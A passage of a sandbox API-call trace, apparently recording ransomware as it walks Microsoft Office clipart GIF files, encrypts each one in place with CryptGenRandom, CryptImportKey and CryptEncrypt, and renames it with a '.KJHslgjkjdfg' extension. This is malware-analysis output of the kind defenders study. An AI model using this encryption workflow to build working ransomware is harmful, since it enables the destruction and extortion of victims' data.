(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.kjhslgjkjdfg")) returned 1 [0181.143] CloseHandle (hObject=0x130) returned 1 [0181.144] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0181.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.145] GetProcessHeap () returned 0x990000 [0181.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.145] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.145] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0181.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.147] GetProcessHeap () returned 0x990000 [0181.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.147] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.147] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.147] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.147] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.148] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa24, lpOverlapped=0x0) returned 1 [0181.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa30, dwBufLen=0xa30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa30) returned 1 [0181.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.148] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa30, lpOverlapped=0x0) returned 1 [0181.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.148] SetEndOfFile (hFile=0x130) returned 1 [0181.151] GetProcessHeap () returned 0x990000 [0181.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.151] GetProcessHeap () returned 0x990000 [0181.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.kjhslgjkjdfg")) returned 1 [0181.156] CloseHandle (hObject=0x130) returned 1 [0181.156] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0181.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.158] GetProcessHeap () returned 0x990000 [0181.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.158] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0181.161] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.161] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.161] GetProcessHeap () returned 0x990000 [0181.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.161] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.161] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.161] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.161] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.162] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.162] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.162] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x296f, lpOverlapped=0x0) returned 1 [0181.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2970, dwBufLen=0x2970 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2970) returned 1 [0181.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.165] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2970, lpOverlapped=0x0) returned 1 [0181.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.165] SetEndOfFile (hFile=0x130) returned 1 [0181.168] GetProcessHeap () returned 0x990000 [0181.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.168] GetProcessHeap () returned 0x990000 [0181.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.kjhslgjkjdfg")) returned 1 [0181.176] CloseHandle (hObject=0x130) returned 1 [0181.176] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0181.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.177] GetProcessHeap () returned 0x990000 [0181.177] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.177] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.179] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.179] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.179] GetProcessHeap () returned 0x990000 [0181.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.179] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.179] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.180] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.180] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.180] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3bcc, lpOverlapped=0x0) returned 1 [0181.182] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3bd0) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3bd0, lpOverlapped=0x0) returned 1 [0181.182] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] SetEndOfFile (hFile=0x130) returned 1 [0181.185] GetProcessHeap () returned 0x990000 [0181.185] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.185] GetProcessHeap () returned 0x990000 [0181.185] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.kjhslgjkjdfg")) returned 1 [0181.192] CloseHandle (hObject=0x130) returned 1 [0181.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0181.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.192] GetProcessHeap () returned 0x990000 [0181.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.192] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0181.195] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.195] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.195] GetProcessHeap () returned 0x990000 [0181.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.195] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.195] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.195] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.196] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.196] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.196] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14c3, lpOverlapped=0x0) returned 1 [0181.197] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0) returned 1 [0181.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.197] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14d0, lpOverlapped=0x0) returned 1 [0181.198] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.198] SetEndOfFile (hFile=0x130) returned 1 [0181.200] GetProcessHeap () returned 0x990000 [0181.200] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.200] GetProcessHeap () returned 0x990000 [0181.200] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.kjhslgjkjdfg")) returned 1 [0181.203] CloseHandle (hObject=0x130) returned 1 [0181.203] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0181.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.204] GetProcessHeap () returned 0x990000 [0181.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.204] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 